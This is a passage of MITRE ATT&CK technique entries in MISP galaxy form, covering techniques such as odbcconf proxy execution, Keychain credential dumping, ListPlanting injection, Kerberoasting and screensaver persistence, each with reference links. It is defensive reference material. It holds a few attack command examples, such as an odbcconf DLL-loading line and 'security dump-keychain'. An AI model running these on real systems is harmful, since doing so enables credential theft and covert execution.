Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.

Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}</code>).(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008"*

Table 4527. Table References

Links
https://attack.mitre.org/techniques/T1218/008
https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/

Domains - T1583.001

Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.

Adversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)

Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Domains - T1583.001"*

Table 4528. Table References

Links
https://attack.mitre.org/techniques/T1583/001
https://capec.mitre.org/data/definitions/630.html
https://threatconnect.com/blog/infrastructure-research-hunting/
https://us-cert.cisa.gov/ncas/alerts/aa20-258a
https://us-cert.cisa.gov/ncas/tips/ST05-016
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf

https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/

Domains - T1584.001

Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)

Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Domains - T1584.001"*

Table 4529. Table References

Links
https://attack.mitre.org/techniques/T1584/001
https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover
https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/
https://www.icann.org/groups/ssac/documents/sac-007-en

Keychain - T1555.001

Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service.

Keychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)

Adversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain –d</code> will dump all Login Keychain credentials from

<code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user's password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)

The tag is: *misp-galaxy:mitre-attack-pattern="Keychain - T1555.001"*

Table 4530. Table References

Links
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
https://attack.mitre.org/techniques/T1555/001
https://developer.apple.com/documentation/security/keychain_services
https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py
https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption
https://www.netmeister.org/blog/keychain-passwords.html

ListPlanting - T1055.015

Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.

List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.

ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process' memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.

Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole

June 2020)

Finally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.

The tag is: *misp-galaxy:mitre-attack-pattern="ListPlanting - T1055.015"*

Table 4531. Table References

Links
https://attack.mitre.org/techniques/T1055/015
https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview
https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf

Launchctl - T1569.001

Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)

Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)

The tag is: *misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001"*

Table 4532. Table References

Links
https://attack.mitre.org/techniques/T1569/001
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://ss64.com/osx/launchctl.html

Malware - T1587.001

Adversaries may develop malware and malware components that can be used during targeting.

Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)

As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.

Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)

The tag is: *misp-galaxy:mitre-attack-pattern="Malware - T1587.001"*

Table 4533. Table References

Links
https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/
https://attack.mitre.org/techniques/T1587/001
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf

Malware - T1588.001

Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.

In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).

The tag is: *misp-galaxy:mitre-attack-pattern="Malware - T1588.001"*

Table 4534. Table References

Links
https://attack.mitre.org/techniques/T1588/001
https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop

Credentials - T1589.001

Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.

Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials - T1589.001"*

Table 4535. Table References

Links
https://attack.mitre.org/techniques/T1589/001
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://github.com/dxa4481/truffleHog
https://github.com/michenriksen/gitrob
https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/
https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/

https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/

Software - T1592.002

Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Software - T1592.002"*

Table 4536. Table References

Links
https://attack.mitre.org/techniques/T1592/002
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://threatconnect.com/blog/infrastructure-research-hunting/

Bootkit - T1542.003

Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

The tag is: *misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003"*

Table 4537. Table References

Links
http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
https://attack.mitre.org/techniques/T1542/003
https://capec.mitre.org/data/definitions/552.html
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf

Firmware - T1592.003

Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

The tag is: *misp-galaxy:mitre-attack-pattern="Firmware - T1592.003"*

Table 4538. Table References

Links
https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/
https://attack.mitre.org/techniques/T1592/003

ROMMONkit - T1542.004

Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)

ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.

The tag is: *misp-galaxy:mitre-attack-pattern="ROMMONkit - T1542.004"*

Table 4539. Table References

Links
https://attack.mitre.org/techniques/T1542/004
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

Screensaver - T1546.002

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:

- <code>SCRNSAVE.exe</code> - set to malicious PE path
- <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
- <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
- <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002"*

Table 4540. Table References

Links
https://attack.mitre.org/techniques/T1546/002
https://en.wikipedia.org/wiki/Screensaver
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

WHOIS - T1596.002

Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)

Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="WHOIS - T1596.002"*

Table 4541. Table References

Links
https://attack.mitre.org/techniques/T1596/002
https://www.whois.net/

Tool - T1588.002

Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)

Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).

The tag is: *misp-galaxy:mitre-attack-pattern="Tool - T1588.002"*

Table 4542. Table References

Links
https://attack.mitre.org/techniques/T1588/002
https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/

https://www.recordedfuture.com/identifying-cobalt-strike-servers/

Server - T1583.004

Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.

Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)

The tag is: *misp-galaxy:mitre-attack-pattern="Server - T1583.004"*

Table 4543. Table References

Links
https://attack.mitre.org/techniques/T1583/004
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/
https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html

Botnet - T1583.005

Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)

The tag is: *misp-galaxy:mitre-attack-pattern="Botnet - T1583.005"*

Table 4544. Table References

Links
https://attack.mitre.org/techniques/T1583/005
https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/
https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/

https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/
https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
https://www.imperva.com/learn/ddos/booters-stressers-ddosers/

Kerberoasting - T1558.003

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015)

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003"*

Table 4545. Table References

Links
https://adsecurity.org/?p=2293
https://attack.mitre.org/techniques/T1558/003
https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
https://capec.mitre.org/data/definitions/509.html
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

https://msdn.microsoft.com/library/ms677949.aspx
https://redsiege.com/kerberoast-slides
https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

Server - T1584.004

Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.

Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).

The tag is: *misp-galaxy:mitre-attack-pattern="Server - T1584.004"*

Table 4546. Table References

Links
https://attack.mitre.org/techniques/T1584/004
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/
https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation

Trap - T1546.005

Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.

Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

The tag is: *misp-galaxy:mitre-attack-pattern="Trap - T1546.005"*

Table 4547. Table References

Links
https://attack.mitre.org/techniques/T1546/005
https://bash.cyberciti.biz/guide/Trap_statement
https://ss64.com/bash/trap.html

Botnet - T1584.005

Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).

The tag is: *misp-galaxy:mitre-attack-pattern="Botnet - T1584.005"*

Table 4548. Table References

Links
https://attack.mitre.org/techniques/T1584/005
https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
https://www.imperva.com/learn/ddos/booters-stressers-ddosers/
https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation

CDNs - T1596.004

Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor's geographical region.

Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization's website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).

The tag is: *misp-galaxy:mitre-attack-pattern="CDNs - T1596.004"*

Table 4549. Table References

Links
https://attack.mitre.org/techniques/T1596/004
https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/

Exploits - T1587.004

Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)

As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.

Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploits - T1587.004"*

Table 4550. Table References

Links
https://attack.mitre.org/techniques/T1587/004
https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims
https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html

Exploits - T1588.005

